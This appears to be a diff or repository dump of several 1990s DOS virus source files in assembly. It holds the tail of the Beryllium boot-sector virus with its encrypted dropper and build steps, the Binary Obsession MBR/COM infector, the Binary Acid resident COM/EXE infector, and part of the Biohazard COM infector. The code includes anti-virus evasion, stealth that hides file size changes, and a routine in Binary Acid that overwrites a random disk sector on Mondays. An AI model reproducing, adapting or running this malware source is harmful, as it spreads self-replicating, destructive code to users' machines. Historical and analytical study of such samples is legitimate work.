; - type "a86 berylium.a86"
; - run the berylium.com file
; - encrypted dropper is produced as "dropbery.com"
; - if you desire to infect your system, run dropbery.com
;=============================================================================
boot equ 06ad ;delta offset for boot location
drop equ 041 ;delta offset for drop of virus
res equ 0153 ;delta offset for resident location
oldlength equ 016 ;infection code length (boot sector)
virus_tag1 equ 0c033 ;infection tag (main body code)
virus_tag2 equ 0ea ;infection tag (boot sector code)
;-----------------------------------------------------------------------------
; Encrypt - encrypts dropper and creates dropper file
;-----------------------------------------------------------------------------
encrypt:
mov bx,offset dropper ;starting point for encryption
mov cl,04 ;set shift/rotate count
scramble_it:
mov ax,[bx] ;move target word into ax
rol ax,cl ;rotate word left "cl" positions
mov [bx],ax ;move word back to memory
inc bx ;point to next byte
cmp bx,offset MBR_buffer-2 ;end of code to encrypt?
jbe scramble_it ;if not, do it again
mov ah,03c ;create file function
xor cx,cx ;attribute = 0 = read/write
mov dx,offset file_name ;point to ASCIIZ file name string
int 021 ;create file
jc exit_encrypt ;if flag=fail, exit
mov bx,ax ;load bx with new file's handle
mov ah,040 ;write to file with handle
mov cx,droplength ;number of bytes to write
mov dx,offset decrypt ;pointer to data to write
int 021 ;write encrypted dropper
jc exit_encrypt ;if flag=fail, exit
mov ah,03e ;close file
int 021
exit_encrypt:
mov ax,04c00 ;terminate w/return code
int 021 ;terminate program
file_name db "dropbery.com",0 ;ASCIIZ dropper file name
;-----------------------------------------------------------------------------
; Decrypt - decrypts dropper using a method not currently recognized as
; hostile by heuristic scanners
;-----------------------------------------------------------------------------
decrypt:
mov bx,offset MBR_buffer-drop-2 ;starting point for decryption
mov cl,04 ;set shift/rotate count
unscramble_it:
mov ax,[bx] ;move target word into ax
ror ax,cl ;rotate word right "cl" positions
mov [bx],ax ;move word back to memory
dec bx ;point to next byte
cmp bx,offset dropper-drop ;end of code to decrypt?
jae unscramble_it ;if not, do it again
;-----------------------------------------------------------------------------
; Dropper - infects MBR if not already infected and if no A-V monitor program
; is present
;-----------------------------------------------------------------------------
dropper:
push ds ;preserve ds
xor ax,ax ;zero ax
mov ds,ax ;point data seg. to interrupt vector
; table
cmp byte ptr [040*4+3],0c0 ;int40 segment pointing to ROM?
pop ds ;restore ds
jb exit_dropper ;if not, do not attempt to infect MBR
mov ah,035 ;load ah with installation check byte
int 013 ;check for installed virus
cmp al,ah ;al = ah?
je exit_dropper ;if so, already installed, so MBR must
; already be infected
drop_it:
mov ax,0201 ;select read-one-sector function
mov bx,offset MBR_buffer-drop ;set load offset
mov cx,02 ;cylinder 0, sector 2
mov dx,080 ;fixed disk 0 (C)
int 013 ;load to buffer
jc exit_dropper ;if flag=fail, exit
cmp word ptr [bx+070],virus_tag1 ;beryllium code present?
je exit_dropper ;if so, exit dropper
mov cx,virlength ;set move count
mov si,offset beryllium-drop ;set source address of virus code
lea di,[bx+070] ;set destination within buffer
rep movsb ;infect sector in memory
mov ax,0301 ;write infected sector to
mov cl,02 ; cylinder 0, sector 2
int 013
jc exit_dropper ;if flag=fail, exit
mov ax,0201 ;read original MBR
dec cx ; from cylinder 0, sector 1
int 013
jc exit_dropper ;if flag=fail, exit
mov ax,0301 ;write original MBR
mov cl,03 ; to cylinder 0, sector 3
int 013
jc exit_dropper ;if flag=fail, exit
mov byte ptr [offset head-drop],dh ;save location (head &
mov byte ptr [offset sector-drop],02 ; sector) of virus in MBR's
; viral bootstrap code
mov cx,oldlength ;set number of bytes to move
mov si,offset newbytes-drop ;set source address of infection code
mov di,bx ;set destination to MBR in memory
cld ;clear direction flag (fwd)
rep movsb ;infect MBR with bootstrap code
mov ax,0301 ;write infected MBR to
inc cx ; cylinder 0, sector 1
int 013
exit_dropper:
mov ax,04c00 ;terminate w/return code
int 021 ;terminate program
;-----------------------------------------------------------------------------
; Beryllium - main body of virus, executes at boot, infects MBR if boot is
; from floppy and MBR is not infected, installs virus in memory if not
; installed
;-----------------------------------------------------------------------------
beryllium:
xor ax,ax ;zero ax
mov ds,ax ;set ds = 0
cli ;clear interrupts
mov ss,ax ;set ss = 0
mov bx,07c00 ;set bx to boot code offset
mov sp,bx ;ditto for sp
sti ;set interrupts
cmp dl,080 ;is this a hard drive boot?
jne floppy_boot ;if not, jump to check/infect MBR
mov ax,0201 ;if so, load orignal MBR to 7c00h
mov cx,03 ;cylinder 0, sector 3
int 013 ;do it
jmp short install ;install virus in memory
floppy_boot:
mov si,offset oldbytes+boot ;load source offset of original bytes
mov di,07c3e ;load destination in boot sector code
mov cx,oldlength ;set number of bytes to move
push cx ;save it for later
cld ;clear direction (fwd)
rep movsb ;restore original bytes to boot sector
;in memory
mov ax,0201 ;select read-one-sector function
mov bh,06 ;set load offset
inc cx ;cylinder 0, sector 1 (MBR)
mov dx,080 ;fixed disk 0 (C)
int 013 ;load MBR to 0:0600h
cmp byte ptr [0611],virus_tag2 ;MBR infected?
je install ;if so, install virus in memory
mov ax,0301 ;if not, save orig. MBR
mov cx,03 ;at cylinder 0, sector 3
int 013 ;write MBR
mov byte ptr [offset head+boot],dh ;save location (head &
mov byte ptr [offset sector+boot],02 ; sector) of virus in MBR's
; viral bootstrap code
pop cx ;set number of bytes to move
mov si,offset newbytes+boot ;set source address of infection code
mov di,bx ;set destination to MBR in memory
rep movsb ;infect MBR
mov ax,0302 ;select write-two-sectors function
inc cx ;cylinder 0, sector 1
int 013 ;write infected MBR to sector 1 and
;continuation of virus to sector 2
install:
mov ah,035 ;load ah with installation check byte
int 013 ;check for installed virus
cmp al,ah ;al = ah?
je exec_boot ;if so, already installed, so jump to
; execute boot code in memory
dec word ptr [0413] ;lower top-of-mem by 1KB
int 012 ;get conventional memory count in #KB
mov cx,0106 ;load move and shift values
shl ax,cl ;calculate segment for virus residence
mov es,ax ;load es with destination segment
xchg [013*4+2],ax ;steal int13 segment
mov [offset old13+boot+2],ax ;store original segment in virus
mov ax,offset int13-res ;load res. off. of virus int13
xchg [013*4],ax ;steal int13 offset
mov [offset old13+boot],ax ;store original offset in virus
mov si,0870 ;set source offset
mov di,0070 ;set destination offset
rep movsw ;move virus to es:0h (9fc0:0000h in
; system w/640K conventional memory)
exec_boot:
jmp 0000:07c00 ;execute boot code
;-----------------------------------------------------------------------------
; Int13 - responds to installation check from dropper and boot routines,
; provides MBR stealth and write-protection, infects floppy if not already
; infected and if no A-V monitor is present, provides floppy stealth
;-----------------------------------------------------------------------------
chain_int13:
pop ds ;restore registers
pop di
pop si
jmp short virstop
db 078,078 ;Virstop "password"
virstop:
db 0ea ;"jmp far" to location specified in
; old13
old13 dw ?, ? ;offset and segment of original int13
; handler
int13:
cmp ah,035 ;installation check?
jne MBR_stealth ;if not, continue
mov al,ah ;if so, put ah in al for confirmation
iret ; and return
MBR_stealth:
push si ;preserve registers
push di
push ds
cmp cx,01 ;track 0, sector 1?
jne chain_int13 ;if not, we're not interested
cmp dx,080 ;head 0, fixed disk 0?
ja chain_int13 ;if above, exit
jb infect_floppy ;if below, must be floppy access
cmp ah,03 ;write to fixed disk MBR?
je sim_IO ;if so, simulate write
mov cl,03 ;point to relocated original MBR
call bios_int13 ;load it to disk I/O buffer
mov cl,01 ;restore cl to point to sector 1
sim_IO:
xor ah,ah ;clear ah and carry flag to simulate
clc ; succcessful write
exit_int13:
pop ds ;restore registers
pop di
pop si
retf 02 ;return to calling routine
infect_floppy:
cmp ah,02 ;read request?
jne chain_int13 ;if not, exit
cmp dl,01 ;floppy drive 'A' or 'B'?
ja chain_int13 ;if not, exit
call bios_int13 ;read boot sector
jc exit_int13 ;if flag=fail, exit to retry
cmp byte ptr es:[bx+04f],virus_tag2 ;boot sector infected?
je floppy_stealth ;if so, hide infection
xor cx,cx ;zero cx
mov ds,cx ;point ds to system vector table
cmp byte ptr [040*4+3],0c0 ;int40 pointing to ROM?
jb floppy_stealth ;if not, do not infect boot sector
push bx ;preserve registers
push es
push es
pop ds ;set ds = es
push cs
pop es ;set es = cs
lea si,[bx+03e] ;set source offset to boot sector
mov di,offset oldbytes-res ;set destination to code storage
mov cx,oldlength ;set number of bytes to move/save
push cx ;save that number for later
cld ;clear direction flag (fwd)
rep movsb ;store original boot code in virus
mov [bx],03ceb ;put jump at start of boot code
mov al,byte ptr [bx+016] ;load # sectors/FAT from BPB
mul byte ptr [bx+010] ;multiply by number of FATs
inc ax ;add boot sector to count
push ax ;save it for later
mov ax,[bx+011] ;load max. # of files from BPB
mov cl,04 ;divide by 16 to get # of root
shr ax,cl ; directory sectors
pop cx ;pop boot sector + FAT sector count
add cx,ax ;add # of directory sectors
sub cx,[bx+018] ;subtract # of sectors per track
; to get target sector number
inc dh ;specify head 1
mov cs:byte ptr [offset head-res],dh ;set newbytes head/sector
mov cs:byte ptr [offset sector-res],cl ; values to point to virus
mov ax,0301 ;select write-one-sector function
xor bx,bx ;set offset to point to virus
call bios_int13 ;write virus to last root directory
; sector
pop cx ;restore registers
pop es
pop bx
push cs
pop ds ;set ds = cs
mov si,offset newbytes-res ;point to infection code
lea di,[bx+03e] ;set destination to boot sector code
rep movsb ;infect boot sector in memory
mov ax,0301 ;select write-one-sector function
inc cx ;track 0, sector 1
dec dh ;head 0, drive "dl"
call bios_int13 ;write infected boot sector
floppy_stealth:
push cs
pop ds ;set ds = cs
mov si,offset oldbytes-res ;point to stored original boot code
lea di,[bx+03e] ;set destination to boot sector
mov cx,oldlength ;set number of bytes to move
cld ;clear direction flag (fwd)
rep movsb ;restore original bytes in memory
inc cx ;restore cx to 0001h
jmp short sim_IO ;return sanitized boot sector to
; calling routine
bios_int13:
pushf ;push flags
cs:
call dword ptr [offset old13-res] ;call original int13 handler
ret
;-----------------------------------------------------------------------------
; Newbytes - the only viral code that actually resides in the boot sector or
; MBR. Its purpose is simply to load the main body of the virus to 0000:0800
; and to transfer control to it. This is the only area that would need to be
; modified to avoid anti-viral scan string detection.
;-----------------------------------------------------------------------------
newbytes:
xor ax,ax ;zero ax
mov es,ax ;set es = 0
mov ax,0201 ;select read-one-sector function
mov bx,0800 ;set disk I/O buffer offset
db 0b9 ;"mov cx,00xx"
sector db ? ;sector number (xx)
db 00 ;track 0
db 0b6 ;"mov dh,xx"
head db ? ;head number (xx)
int 013 ;load virus to 0000:0800h
jmp 0000:0870 ;jump to execute virus code
oldbytes:
db oldlength dup ? ;storage location for original first
; 22d bytes of the boot sector
db 0,0,'BERYLLIUM!',0,0 ;credits
MBR_buffer:
droplength equ offset MBR_buffer - offset decrypt
virlength equ offset MBR_buffer - offset beryllium
decryptlength equ offset MBR_buffer - offset dropper
end beryllium
@@ -0,0 +1,292 @@
; ------------------------------------------------------------------------------
;
; - Binary Obsession -
; Created by Immortal Riot's destructive development team
; (c) 1994 Metal Militia/Immortal Riot
;
; ------------------------------------------------------------------------------
; þ Undestructive Harddrive & COM-file infector þ
; ------------------------------------------------------------------------------
.model tiny
.code
.286
org 100h
start:
call get_delta_offset ; no comment needed (0e8h)
org_bytes:
db 3 dup (?) ; buffer for the 3 original
; bytes
get_delta_offset:
pop bp ; fix the delta offset
push cs
push ss
pop ax ; AX equals SS and
pop dx ; DX equals CS
cmp dx,ax ; If they both equal, then
; we're being executed from
; a file..
jne were_on_harddrive ; Else it's from the harddrive
mov dx,5945h ; Removes the VSAFE program
mov ax,0fa01h ; out of memory, this code is
int 21h ; detected now-a-days though
lea bx,ss:[bp+600] ; offset a more or less 'buffer'
mov cx,1 ; 1 sector
mov dx,80h ; from the harddrive
mov ax,201h ; read it (MBR)
int 13h
cmp byte ptr es:[bx],0E8h ; Is the MBR already infected?
jne infect_mbr ; if not, write ourselves there
jmp dont_infect_mbr ; else just get the fuck out
infect_mbr:
mov cx,2 ; sector 2
mov ax,301h ; write the MBR to it
int 13h
lea si,[bp-3]
mov cx,virsize ; our viruscode
mov di,bx
rep movsb ; copy it over the 1 sector but
; leave the partitiontable nice
; and workable, totally intact
mov cx,1 ; now write our virus code
mov ax,301h ; to the MBR now that we've
int 13h ; taken a "back-up" of it..
dont_infect_mbr:
mov si,bp ; offset 3 first bytes
mov di,100h
push di
movsb ; copy them back again
movsw
retn ; and then executed the
; original program
db "(c) Metal Militia/Immortal Riot" ; guess who?
were_on_harddrive:
xor ax,ax ; zero AX
mov ds,ax ; DS to AX
mov si,7C00h
cli ; clear the interrupts
mov ss,ax
mov sp,si ; do the stack thing
sti ; store the interrupts
push ax
push si
sub word ptr ds:[413h],2 ; decrease available memory with
; 2 kilobytes (only 1 needed?)
int 12h ; get number of kb's left
mov cl,5
add cl,1
shl ax,cl
mov es,ax ; Convert the stuff into kb's
push cs
pop ds ; DS equals CS
mov cx,(realend-start) ; Our viralcode
mov di,100h
lea si,[bp-3]
rep movsb ; Copy us up into the memory
mov ds,cx ; DS to CX
xchg ds:[13h*4+2],ax ; Catch int13h and set it
mov ds:[0b6h*4+2],ax ; to become 0b6h instead
mov es:int13zwei,ax ; storage place
mov ax,offset our13 ; Now offset our int13 instead
xchg ds:[13h*4],ax
mov ds:[0b6h*4],ax
mov es:int13uno,ax ; storage place
mov ax,offset backtoorg ; 'call' our MBR part that does
push es ; a reading on the original and
push ax ; then jumps to it
retf ; return far
backtoorg:
pop bx
pop es
mov cx,2 ; sector 2
mov dx,80h ; on harddrive (C: unit)
mov ax,201h ; read it and wait
int 0b6h
db 0eah ; Now go jump to that spot in
dw 7c00h,0 ; order to execute the original
our13:
push ax
push ds
sub ax,ax ; Zero out AX
mov ds,ax ; DS equals AX
cmp word ptr es:[bx],5A4Dh ; .EXE files starting w/'MZ' ?
jne not_ready_right_now ; if not, retry until success
cmp ds:[0e5h*4+2],ax ; Already in memory w/int21h?
jne not_ready_right_now ; If so, fuck it.. outa here!
mov ax,cs
xchg ds:[21h*4+2],ax ; Else, catch it and exchange
mov ds:[0e5h*4+2],ax ; it with 0e5h instead..
mov cs:int21zwei,ax ; Storage place
mov ax,offset our21 ; And offset our int21 thingy
xchg ds:[21h*4],ax
mov ds:[0e5h*4],ax
mov cs:int21uno,ax ; Storage place
not_ready_right_now:
pop ds
pop ax
db 0eah ; Back to the original int13h
int13uno dw 0 ; Storage for the original
int13zwei dw 0 ; 13h interrupt
our21:
pusha
push ds
push es ; Save all registers
; except for the stack ones
cmp ax,4B00h ; Execution of a file?
je file_infect ; If so, lets go check it out
jmp computers_int21 ; else we're back to org21h
file_infect:
mov ax,4301h ; Zero the attributes
sub cx,cx
int 0e5h ; first abuse of the new int21h
mov ax,3D00h ; Open it up
int 0e5h
xchg bx,ax ; mov bx,ax
mov ax,1220h
int 2Fh
push bx
mov ax,1216h
mov bl,es:[di]
int 2Fh ; Point at the SFT thingy
pop bx
or word ptr es:[di+2],2 ; set to read/write ability
push cs
pop ds
mov ax,word ptr es:[di+0dh] ; read in date/time
mov cx,ax
and cl,00001111b ; Is it seconds of our choice?
cmp cl,00000001b ; If not, lets infect it
je closeitup ; Yeah, lets freak out
and al,11110000b ; Now set those bloody seconds
or al,00000001b
mov f_time,ax ; Save file time
mov ax,es:[di+0fh]
mov f_date,ax ; and date
mov cx,2 ; 3 bytes (2 here)
mov ah,3Fh ; Read in
inc cx ; plus one here
mov dx,offset org_bytes ; and offset to buffer
int 0e5h
xchg dx,si ; point at it
cmp byte ptr [si],'M' ; Is it an .EXE file w/'M'?
je closeitup ; If so, leave it alone
mov ax,es:[di+11h] ; Goto EOF with
mov dx,es:[di+13h] ; the help of
mov es:[di+15h],ax ; using these instead of the
mov es:[di+17h],dx ; 4200h/4202h thingy
dec ax ; dec ax
dec ax ; three
dec ax ; times
mov byte ptr ds:jmp_x,231 ; jmp byte
inc jmp_x ; increase
inc jmp_x ; it twice
mov word ptr ds:jmp_x+1,ax ; and yet add one
mov ah,30h ; Write to file (WTF 1/2)
mov cx,virsize ; Size of the viral code
mov dx,100h ; Offset the start
add ah,10h ; WTF 2/2
int 0e5h
xor ax,ax ; Goto SOF
mov es:[di+15h],ax
mov ah,20h ; Write to file (WTF 1/2)
mov cx,2 ; 2 bytes
add ah,20h ; WTF 2/2
inc cx ; plus another one
mov dx,offset jmp_x ; Offset the buffer
int 0e5h
mov dx,f_date ; original date
mov cx,f_time ; original time
mov ax,5701h ; Restore them
int 0e5h
closeitup:
mov ah,3Eh ; Close file
int 0e5h
computers_int21:
pop es
pop ds
popa
db 0eah ; Jump back to original int21h
virend:
int21uno dw ? ; Storage for the original
int21zwei dw ? ; 21h interrupt
virsize equ virend-start
f_date dw ? ; Storage place for
f_time dw ? ; file date/time
jmp_x db 3 dup (?) ; JMP code buffer
realend:
end start
@@ -0,0 +1,357 @@
;Binary Acid Virus
;by Evil Avatar
;Another lame virus by me. Then again, not bad for my second virus!
;This is a resident .COM/.EXE/.OV? infector that infects on file runs.
;It does hide the size change AND avoids CHKDSK and its ilk.
;Plenty more from me to come. Stay tuned.
.model tiny ;if you are lost already, you
.code ;shouldn't be playing with viruses
org 0h
v_mem equ (v_end-Acid+15)/16+1
v_word equ (v_end-Acid)/2
id equ 0a0ffh
v_file equ (heap-Acid)
Acid: call next
next: pop bp
sub bp, offset next ;get delta offset
mov ax, id
sub bx, bx
int 21h ;residentcy install check
push es ;save PSP segment
cmp bx, id ;are we here already?
je check ;then exit
mov ax, 3521h
int 21h ;get int 21h vector
mov word ptr [bp+save_21], bx
mov word ptr [bp+save_21+2], es ;save int 21h vector
mov ax, ds ;ds=PSP segment
dec ax ;ax=MCB segment
mov es, ax ;es=MCB segment
cmp byte ptr es:[0], 'Z' ;is it last MCB in chain?
jne done ;no? exit
sub word ptr es:[3], v_mem ;allocate memory for virus
sub word ptr es:[12h], v_mem ;change TOM field in PSP
mov ax, es:[12h] ;find virus MCB segment
mov es, ax ;es=virus MCB segment
mov byte ptr es:[0], 'Z' ;mark as last in MCB chain
mov word ptr es:[1], 8 ;DOS now owns this
mov word ptr es:[3], v_mem-1 ;set the size of segment
inc ax ;ax=virus segment
mov es, ax ;es=virus segment
lea si, [bp+offset Acid] ;start of virus
sub di, di ;clear di
mov cx, v_word ;virus size in words
rep movsw ;copy virus to TOM
push es
pop ds ;put segment in ds
mov ax, 2521h
mov dx, offset int21
int 21h ;set new int 21h vector in virus
check: pop es ;restore es
mov ah, 2ah
int 21h ;get date
cmp al, 1 ;is it a monday?
je destroy ;chew a sector
return:
cmp sp, 0abcdh ;is this an .exe file?
jne done ;no? restore com stuff
push es
pop ds
mov ax, es ;ax=PSP segment
add ax, 10h ;adjust for PSP size
add word ptr cs:[bp+comsave+2], ax ;set up cs
add ax, word ptr cs:[bp+_ss_sp+2] ;set up ss
cli ;clear ints for stack manipulation
mov ss, ax ;set ss
mov sp, word ptr [bp+_ss_sp] ;set sp
sti ;restore ints
db 0eah ;jump to old program
comsave db 0cdh, 20h, 0, 0
destroy:
in al, 40h
xchg al, ah
in al, 40h ;get a random number
xchg ax, dx
mov cx, 1
mov ax, 2
int 26h ;and crunch that sector
jmp return ;return to program
done: push cs
pop ds ;ds=cs
push cs
pop es ;es=cs
mov di, 100h ;beginning of program
push di ;for later return
lea si, [bp+comsave] ;first 3 bytes of program
movsb
movsw ;restore first 3 bytes
ret ;return to program
int21: cmp ax, id ;is this an installation check?
je vcheck ;yes? tell 'em we're here
push bx
push cx
push si
push di
push es
push dx
push ds ;save regs
push ax
cmp ah, 4bh ;hmm..execute huh? well, they
je v_com ;did it to themselves
cmp ah, 11h ;dir check
je dirfix
cmp ah, 12h ;dir check
je dirfix
pop ax
pop ds
pop dx
intpop: pop es
pop di
pop si
pop cx
pop bx ;restore regs
jmp dword ptr cs:[save_21] ;jump to DOS int 21h
vcheck: xchg ax, bx ;put ID into bx
iret
dirfix: pushf
call dword ptr cs:save_21 ;simulate int 21h call
mov word ptr cs:[buffer], ax ;save return
push ax
push si
pushf ;save the new flags
mov si, sp
mov ax, [si] ;get new flags
mov [si+10], ax ;put them where old flags are
popf
pop si
pop ax
test al, al ;see if file is found
jnz nofile ;if none, exit
mov ah, 51h
int 21h ;get PSP segment
mov es, bx
cmp bx, es:[16h] ;is it DOS?
jne nofile ;no? avoid CHKDSK
mov ah, 2fh
int 21h ;get DTA in es:bx
cmp byte ptr ds:[bx], -1 ;is it extended FCB?
jne cont
add bx, 7 ;then add 7 to pointer
cont: mov cx, ds:[bx+17h] ;get time
and cx, 1fh ;get seconds
cmp cx, 1fh ;if not 62 secs then exit
jne nofile
sub ds:[bx+1dh], v_file
sbb word ptr ds:[bx+1fh], 0 ;subtract virus size
nofile: pop ax ;if you can read this
pop ds ;you don't need glasses
pop dx
pop es
pop di
pop si
pop cx
pop bx ;restore regs
mov ax, word ptr cs:[buffer] ;restore return type
iret
v_com: push ds
push dx
push cs
pop ds
mov ax, 3524h
int 21h ;get critical error handler
mov word ptr [save_24], bx
mov word ptr [save_24+2], es ;save it
mov ax, 2524h
mov dx, offset int24
int 21h ;set new critical error handler
pop dx
pop ds
push cs
pop es
mov ax, 4300h
int 21h ;get attributes of file
push cx ;save attributes
mov ax, 4301h
sub cx, cx
int 21h ;clear attributes
jc booster
mov ax, 3d02h
int 21h ;open file
xchg ax, bx ;put handle in bx
push cs
pop ds ;ds=cs for all references
jmp past_booster
booster: ;i hate having to use these
pop cx
pop ax
pop ds
pop dx
push ax
jmp bad_file
text db 'KW' ;you'll never guess
past_booster:
mov ah, 3fh
mov cx, 1ah
mov dx, offset buffer
int 21h ;read first 1ah bytes
mov ax, 5700h
int 21h ;get file time and date
mov word ptr [time], cx ;save time
mov word ptr [date], dx ;save date
and cx, 1fh ;get seconds
cmp cx, 1fh ;is it 62 secs?
je close ;already infected
cmp word ptr [buffer], 'ZM'
je v_exe
cmp word ptr [buffer], 'MZ'
je v_exe ;if .exe file then infect it
mov si, offset buffer
mov di, offset comsave
movsb
movsw ;move combytes to comsave
mov ax, 4202h
sub cx, cx
cwd
int 21h ;move pointer to EOF
sub ax, 3
mov byte ptr [buffer], 0e9h
mov word ptr [buffer+1], ax ;set up jump
write_virus:
mov ah, 40h
mov cx, v_file
cwd
int 21h ;write virus to EOF
mov ax, 4200h
sub cx, cx
int 21h ;go to beginning of file
mov ah, 40h
mov cx, 1ah ;restore buffer size
mov dx, offset buffer
int 21h ;write header or jump
sign: mov ax, 5701h
mov cx, word ptr [time] ;get time
or cx, 1fh ;set seconds to 62
mov dx, word ptr [date] ;get date
int 21h ;set file time and date
close: mov ah, 3eh
int 21h ;close file
pop cx ;get attributes
pop ax
pop ds
pop dx ;get file name
push ax
mov ax, 4301h
int 21h ;restore attributes
bad_file:
push ds
push dx
mov ax, 2524h
lds dx, dword ptr cs:[save_24]
int 21h ;restore old int 24h
pop dx
pop ds
pop ax
jmp intpop ;return to caller
v_exe: push bx
les ax, dword ptr [buffer+14h] ;get cs:ip in es:ax
mov word ptr [comsave], ax ;save ip
mov word ptr [comsave+2], es ;save cs
les ax, dword ptr [buffer+0eh] ;get ss:sp
mov word ptr [_ss_sp], es ;save sp
mov word ptr [_ss_sp+2], ax ;save ss
add word ptr [buffer+0ah], v_mem ;set new minimum memory requested
mov ax, word ptr [buffer+8] ;get header size
mov cl, 10h
mul cl ;change to bytes
push ax ;save it
mov ax, 4202h
sub cx, cx
cwd ;move file pointer to EOF
int 21h ;and get file size in dx:ax
pop cx ;restore header size
push dx
push ax ;save file size
sub ax, cx
sbb dx, 0 ;get new cs:ip
mov word ptr [buffer+16h], dx ;save cs
mov word ptr [buffer+14h], ax ;save ip
mov word ptr [buffer+0eh], dx ;save ss
mov word ptr [buffer+10h], 0abcdh ;save sp
pop ax
pop dx ;get file size
add ax, (v_end-Acid)
adc dx, 0 ;add virus size
mov cx, 200h
div cx ;convert to pages
push ax ;save it
or dx, dx ;is there a remainder?
je remainder ;yes? increment number of pages
inc ax
remainder:
mov word ptr [buffer+4], ax ;save number of pages
pop ax
and ah, 1
mov word ptr [buffer+2], ax ;file size MOD 512
pop bx
jmp write_virus
int24: mov al, 3 ;fail the call
iret
vname db '[Binary Acid]', 0 ;do you need this explained???
author db '(c) 1994 Evil Avatar', 0 ;this is me (duh!)
_ss_sp dd ? ;stack pointer
heap: ;variables
save_21 dd ? ;int 21h entry
save_24 dd ? ;int 24h entry
time dw ? ;file time
date dw ? ;file date
buffer db 1ah dup (?) ;buffer
v_end:
end Acid
+341
View File
@@ -0,0 +1,341 @@
virus segment
assume cs:virus,ds:virus,es:nothing
org 100h
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
vstart equ $
call code_start ; call codie_startie
code_start:
pop si
sub si,offset code_start ; so we can use the lea command etc
jmp code_continue
db '!BIOHAZARD!' ; Lil' poem (?)
db 'U Found ME!' ; of mine
code_continue:
mov bp,si ; Now, put bp in si instead so bp's used
jmp load ; Jmp and go resident
old_21 dd ? ; Old int21 interrupt saved here
new_21: ; Our own, new one int21
cmp ax,4b00h ; Is a file being executed
je exec1 ; If so, damn it! INFECT!
dir_thang:
cmp ah,11h ; Find first
je hide_size ; Use stealth
cmp ah,12h ; Find next
je hide_size ; Use stealth
cmp ax,3030h ; Another copy trying to go resident?
jne do_old ; If not, do the old int21 thang
mov bx,3030h ; Show that we're already resident
do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21
exec1: jmp exec ; Try to infect
do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old
ret ; But return back
hide_size:
pushf
push cs
call do_dir ; get FCB (current)
cmp al,00h ; Is DIR being used (?)
jz undocumented_get_FCB ; If so, go on
jmp dir_error ; If not, get the fuck
; outa this place man
undocumented_get_FCB:
push ax ; push
push bx ; push
push es ; push (gaak! no pops)
mov ah,51h ; get FCB (location)
int 21h ; figure it out
mov es,bx ; get FCB (info)
cmp bx,es:[16h] ; check it
je fix_it_up ; if so, move on
jmp not_inf
fix_it_up:
mov bx,dx ; fixup
mov al,[bx] ; some
push ax ; shit
mov ah,2fh ; get the DTA
int 21h ; yeah, you do that
pop ax ; atlast, pop me babe
inc al ; check FCB (extended)
jz add_it ; ok, move on
jmp normal_fcb ; jmp normal_fcb
add_it:
add bx,7h ; yes, add it.. go ahead
normal_fcb:
mov ax,es:[bx+17h]
and ax,1fh
xor al,01h ; are the file's seconds
jz go_on_and_do_it_strong ; equal to "2"?
jmp not_inf ; If so, outa here
go_on_and_do_it_strong:
and byte ptr es:[bx+17h],0e0h ; subtract the size
sub es:[bx+1dh],(vend-vstart) ; how much? (*.*)
sbb es:[bx+1fh],ax ; yet another stealthed
not_inf:pop es ; we will..
pop bx ; we will..
pop ax ; pop you! pop you!
dir_error:
iret ; return to the one who
; called this thang
exec:
push ax ; push the stuff needed
push bx ; (as normally)
push cx
push dx
push di
push si
push ds
push es
infect:
mov ax,3d02h ; Open the file being
int 21h ; executed do that!
jc fuckitall ; If error, get the fuck
; out!
xchg ax,bx ; or.. mov bx,ax
push ds ; pusha
push cs ; push
pop ds ; pop!
mov ah,3fh ; Read from file
mov dx,(buffer-vstart) ; put in our buffer
mov cx,5h ; how much to read
int 21h ; do that
jc fuckitall ; If error, fuck it!
cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
je fuckitall ; If so, outa here..
cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
je fuckitall ; (can be MZ or ZM)
; If so, outa here
cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
je fuckitall ; infect? If so,
; outa here
jmp next ; Move on..
fuckitall:
jmp homey2 ; Something screwed,
; outa dis thang..
next:
mov ax,5700h ; Get date/time
int 21h ; int me baaaabe!
mov word ptr cs:[(old_time-vstart)],cx ; save time
mov word ptr cs:[(old_date-vstart)],dx ; save date
mov ax,4202h ; ftpr to end
mov cx,0 ; get ftpr (filesize)
cwd ; or.. xor dx,dx
int 21h
jc fuckitall ; if error, fuck it!
mov cx,ax ; mov cx to ax
sub cx,3 ; for the jmp
jmp save_rest_of_len
db 'BIOHAZARD VIRUS - INV. EVIL ALTER - THE W$ˆL!'
save_rest_of_len:
mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
mov ah,40h ; write to file
mov cx,(vend-vstart) ; the virus
cwd ; from start
int 21h ; atlast the fun part
jnc fpointer ; no error(s), go on
jc homey ; fuck it!
fpointer:
mov ax,4200h ; move file pointer
mov cx,0 ; to the beginning
cwd
int 21h
mov ah,40h ; write the JMP the
mov cx, 5 ; the file (5 bytes)
mov dx,(jump_add-vstart) ; offset jump thang
int 21h
jc homey ; if error, fuck it!
mov ax,5701h ; restore old
mov word ptr cx,cs:[(old_time-vstart)] ; date/time
mov word ptr dx,cs:[(old_date-vstart)]
and cl,0e0H ; chance the file's
inc cl ; seconds to "2" for
int 21h ; stealth "marker"
mov ah,3eh ; close thisone
int 21h
homey: jmp homey2 ; outa here
db ' HEY HEY TO ALL A/V LAMERS!! HA!' ; dedication note
homey2: pop ds ; pop
pop es ; pop
pop ds ; pop
pop si ; pop
pop di ; pop
pop dx ; pop
pop cx ; pop
pop bx ; pop
pop ax ; new virus-name
; popcorn virus?
jmp dword ptr cs:[(old_21-vstart)] ; heading for old
; int21
old_date dw 0 ; date/time
old_time dw 0 ; saving place
buffer: db 0cdh,20h,00 ; our lil' buffer
buffer2 db 0,0 ; plus these two
jump_add: db 0E9h,00,00,90h,90h; ; what we put instead
; of org. jmp
exit2: jmp date_check ; get outa here
load: mov ax,3030h ; Are we already in
int 21h ; this users memory
cmp bx,3030h ; well, check it!
je exit2 ; if so, outa here
dec_here:
push cs ; push
pop ds ; pop
mov ah,4ah ; req. very much mem
mov bx,0ffffh ; ret's largest size
int 21h
mov ah,4ah ; ok, so now we
sub bx,(vend-vstart+15)/16+1 ; subtract the size of
jnc intme ; of our virus. If no
jmp exit2 ; error go on, else
; fuck it
intme:
int 21h ; int me! int me!
mov ah,48h
mov bx,(vend-vstart+15)/16 ; req. last pages
int 21h ; allocate to the virus
jnc decme ; no error, go on
